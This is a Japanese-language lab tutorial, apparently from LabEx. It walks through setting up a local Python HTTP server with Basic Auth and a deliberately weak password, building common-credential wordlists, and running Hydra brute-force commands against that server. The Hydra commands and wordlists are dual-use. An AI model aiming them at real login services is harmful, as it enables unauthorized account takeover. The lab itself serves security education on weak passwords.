はじめに
この実験(Lab)では、多用途なパスワードクラッキングツールである Hydra を使用して、HTTP サービスに対するブルートフォース攻撃(総当たり攻撃)を実行する方法を学びます。基本的な認証を備えた Python HTTP サーバーをセットアップし、体系的なクレデンシャル攻撃(credential attacks)を通じてそのセキュリティをテストします。
この演習では、ワードリストの作成、Hydra パラメータの設定、および攻撃結果の分析を通じて、認証の脆弱性を特定します。この実践的なセッションでは、ブルートフォース攻撃に対する Web サービスのセキュリティを評価するための重要なテクニックを実演します。
ローカル HTTP サーバーのインストール
このステップでは、Python の組み込みモジュールを使用してローカル HTTP サーバーをインストールします。このサーバーは、基本的な認証を備えた実際の Web サーバーをシミュレートし、後で Hydra のブルートフォース攻撃(総当たり攻撃)のターゲットとして使用します。Web サーバーの仕組みを理解することは、そのセキュリティをテストする前に不可欠です。
Python の http.server モジュールは、テスト目的で基本的な Web サーバーをすばやく作成する方法を提供します。本番環境には適していませんが、複雑なセットアップなしで HTTP プロトコルの基本を示すため、この実験(Lab)には最適です。サーバーはデフォルトでポート 8000 で実行されます。
- まず、プロジェクトディレクトリに移動します。これにより、すべてのファイルが 1 か所に整理されます。
cd ~/project
- Web サーバーファイル専用のディレクトリを作成します。Web コンテンツを分離しておくことで、整理された状態を維持できます。
mkdir http_server
cd http_server
- 簡単なホームページを作成します。この HTML ファイルは、誰かが Web サーバーにアクセスしたときに提供されます。
echo "<h1>Welcome to LabEx HTTP Server</h1>" > index.html
- Python HTTP サーバーを起動します。
&記号は、ターミナルを引き続き使用できるように、バックグラウンドで実行します。
python3 -m http.server 8000 &
ターミナルを引き続き使用する場合は、Enter を押してください。
- サーバーが実行されていることを確認します。
netstatコマンドは、アクティブなネットワーク接続とリッスンポートを表示します。
netstat -tulnp | grep 8000
Python がポート 8000 でリッスンしていることを確認する出力が表示されるはずです。
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 1234/python3
- サーバーの機能をテストします。
curlコマンドは、Web ページを取得して、すべてが機能することを確認します。
curl http://localhost:8000
作成した HTML コンテンツを受信し、サーバーが動作していることを証明する必要があります。
<h1>Welcome to LabEx HTTP Server</h1>

基本的な Web サーバーが実行されたので、次のステップで認証を実装する準備ができました。Hydra は、基本的な認証を使用する実際の Web サーバーとまったく同じように、このサーバーと対話するため、この基盤は非常に重要です。
HTTP サーバーに Basic Auth を設定
このステップでは、以前にインストールした HTTP サーバーの基本認証を構成します。基本認証は、クライアントが各リクエストでユーザー名とパスワードを送信するシンプルな方法です。これにより、Hydra を使用してブルートフォース(総当たり)攻撃を試みることで、後でテストするセキュリティレイヤーが作成されます。これは、弱いパスワードが危険である理由を示しています。
- まず、保護された Web サーバーをセットアップする正しいディレクトリにいることを確認します。
cd ~/project/http_server
htpasswdユーティリティを使用してパスワードファイルを作成します。このツールはapache2-utilsパッケージ(LabEx VM にはすでにインストールされています)に付属しており、基本認証用のパスワードファイルの管理に役立ちます。
htpasswd -c .htpasswd admin
プロンプトが表示されたら、パスワードとして password123 を入力します。ここでは、単純なパスワードがどれほど簡単にクラックされるかを示すために、意図的に弱いパスワードを使用しています。
- 次に、基本認証で HTTP コンテンツを提供する Python スクリプトを作成します。このスクリプトは、アクセスを許可する前にクレデンシャル(credential)を確認します。
nano auth_server.py
- 次の Python コードを貼り付けます。これにより、次のカスタム HTTP サーバーが作成されます。
- 基本認証を必要とする
.htpasswdファイルに対してクレデンシャルを検証する- 認証に成功した場合にのみコンテンツを提供する
from http.server import HTTPServer, BaseHTTPRequestHandler
import base64
class AuthHandler(BaseHTTPRequestHandler):
def do_GET(self):
auth_header = self.headers.get('Authorization')
if not auth_header or not auth_header.startswith('Basic '):
self.send_response(401)
self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b'Authentication required')
return
auth_decoded = base64.b64decode(auth_header[6:]).decode('utf-8')
username, password = auth_decoded.split(':', 1)
if username == 'admin' and password == 'password123':
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
with open('index.html', 'rb') as f:
self.wfile.write(f.read())
else:
self.send_response(401)
self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
self.end_headers()
self.wfile.write(b'Authentication failed')
if __name__ == '__main__':
server_address = ('', 8000)
httpd = HTTPServer(server_address, AuthHandler)
print("Server running on port 8000...")
httpd.serve_forever()
- ファイルを保存し(nano で Ctrl+O、Enter、Ctrl+X)、認証のない以前の HTTP サーバーを停止します。
pkill -f "python3 -m http.server"
- 新しい認証された HTTP サーバーをバックグラウンドで起動します。
python3 auth_server.py &
- クレデンシャルなしでサーバーにアクセスしようとして、認証をテストしましょう。
curl -v http://localhost:8000
401 Unauthorized レスポンスが表示されるはずです。これは、認証が機能していることを意味します。
- 次に、以前に設定した正しいクレデンシャルでアクセスしてみてください。
curl -v -u admin:password123 http://localhost:8000

index.html ファイルから HTML コンテンツが表示され、認証が正しく機能していることが証明されるはずです。
サーバーは基本認証で適切に保護され、次のステップでのブルートフォース攻撃(総当たり攻撃)のデモンストレーションの準備ができました。このセットアップは、Web サーバーが基本認証を使用する実際のシナリオを模倣し、その仕組みと潜在的な脆弱性の両方を示しています。
ユーザー名とパスワードのリストを準備
このステップでは、Hydra が HTTP 基本認証に対して可能なユーザー名とパスワードの組み合わせをテストするために使用するワードリスト(wordlist)を作成します。これらのリストは、ランダムに推測するのではなく、一般的なクレデンシャルを体系的に試す辞書攻撃(dictionary attack)の基礎を形成します。
- まず、プロジェクトディレクトリに移動します。これにより、すべてのファイルが 1 か所に整理されます。
cd ~/project
- ワードリスト専用のディレクトリを作成します。それらを分離しておくことで、管理が容易になります。
mkdir wordlists
cd wordlists
- シンプルなテキストエディタである nano を使用して、ユーザー名リストファイルを作成します。デフォルトとして頻繁に使用される一般的な管理ユーザー名を入力します。
nano usernames.txt
これらの一般的なユーザー名を追加します(1 行に 1 つ)。
admin
root
user
test
guest
administrator
- 同様に、パスワードリストファイルを作成します。これらは、一般的に使用されるか、推測しやすいパスワードです。
nano passwords.txt
これらの一般的なパスワードを追加します(1 行に 1 つ)。
password123
password
123456
admin
letmein
qwerty
- ファイルの内容を確認して、正しく作成されていることを確認します。
catコマンドは、ターミナルにファイルの内容を表示します。
cat usernames.txt
cat passwords.txt
- (オプション)ワードリストジェネレーター(wordlist generator)である crunch を使用して、追加のパスワードを生成します。このコマンドは、最大 100 個の 4 桁の数字の組み合わせを作成します。これは、単純な数値パスワードをテストするのに役立ちます。
crunch 4 4 0123456789 | head -n 100 > numbers.txt
- パスワードリストを 1 つのファイルに結合します。これにより、Hydra は攻撃中にテストするバリエーションが増えます。
cat passwords.txt numbers.txt > combined_passwords.txt
- 結合されたパスワードリストを確認します。
headコマンドは最初の 10 行のみを表示し、マージが機能したことをすばやく確認できます。
head combined_passwords.txt
次のような出力が表示されるはずです。
password123
password
123456
admin
letmein
qwerty
0000
0001
0002
0003
これらのワードリストには、以前に構成した正しいクレデンシャル(admin/password123)と、多くの誤った組み合わせが含まれています。このセットアップは、攻撃者が多数の可能なクレデンシャルを試すことによってログインをブルートフォース(総当たり)で試みる方法を現実的にシミュレートします。次のステップでは、Hydra を使用して、これらの組み合わせを HTTP サーバーに対してテストする作業を自動化します。
HTTP サービスに対して Hydra アタックを実行
このステップでは、Hydra を使用して、以前に構成した HTTP 基本認証サービスに対してブルートフォース(総当たり)攻撃を実行します。Hydra は強力なパスワードクラッキングツール(password-cracking tool)であり、ワードリスト(wordlist)からすべてのユーザー名/パスワードの組み合わせを体系的に試して、有効なクレデンシャルを見つけます。これは、弱いパスワードが自動化された攻撃に対して脆弱である理由を示しています。
- まず、HTTP サーバーがまだ実行されていることを確認します。このコマンドは、サーバープロセスが存在するかどうかを確認し、必要に応じて再起動します。
pgrep -fa "python3 auth_server.py" || cd ~/project/http_server && python3 auth_server.py &
- ユーザー名とパスワードファイルを保存したワードリストディレクトリに移動します。これらのファイルには、Hydra がテストする組み合わせが含まれています。
cd ~/project/wordlists
- このコマンドで Hydra を実行して、HTTP サービスを攻撃します。
-Lフラグはユーザー名リストを指定し、-Pはパスワードリストを指定し、http-get /は基本的な HTTP GET リクエストを攻撃していることを示します。
hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /
- Hydra が組み合わせを試すときの出力を観察します。成功すると、どのクレデンシャルが機能したかを示す出力が表示されます。
[DATA] attacking http-get://localhost:8000/
[8000][http-get] host: localhost login: admin password: password123
1 of 1 target successfully completed, 1 valid password found
- Hydra が行う各試行を含む、より詳細な出力を表示するには、
-v(verbose)フラグを追加します。
hydra -v -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /
- (オプション)後で分析するために、結果をファイルに保存します。
-oフラグは出力ファイルを指定します。
hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get / -o hydra_results.txt
- 保存された結果ファイルを確認して、成功したクレデンシャルを確認します。
cat hydra_results.txt
攻撃は、以前に設定したクレデンシャル(admin/password123)を正常に見つけるはずです。これは、弱いクレデンシャルが自動化されたブルートフォース攻撃(総当たり攻撃)によってどれだけ迅速に発見されるかを示しており、強力なパスワードの重要性を強調しています。
まとめ
この実験(Lab)では、Python を使用してローカル HTTP サーバーをセットアップし、セキュリティテスト(security testing)のために基本認証(basic authentication)を実装する方法を学びました。このプロセスには、Web ディレクトリの作成、htpasswd を使用した認証の構成、および curl などの一般的なツールを使用したサーバー機能の検証が含まれていました。
さらに、クレデンシャルリスト(credential list)の準備と、Hydra を使用した HTTP サービスに対するブルートフォース(総当たり)攻撃の実行に関する実践的な経験を積みました。この演習では、強力なパスワードの重要性と、弱いクレデンシャルが使用された場合の基本的な認証メカニズムの脆弱性が示されました。


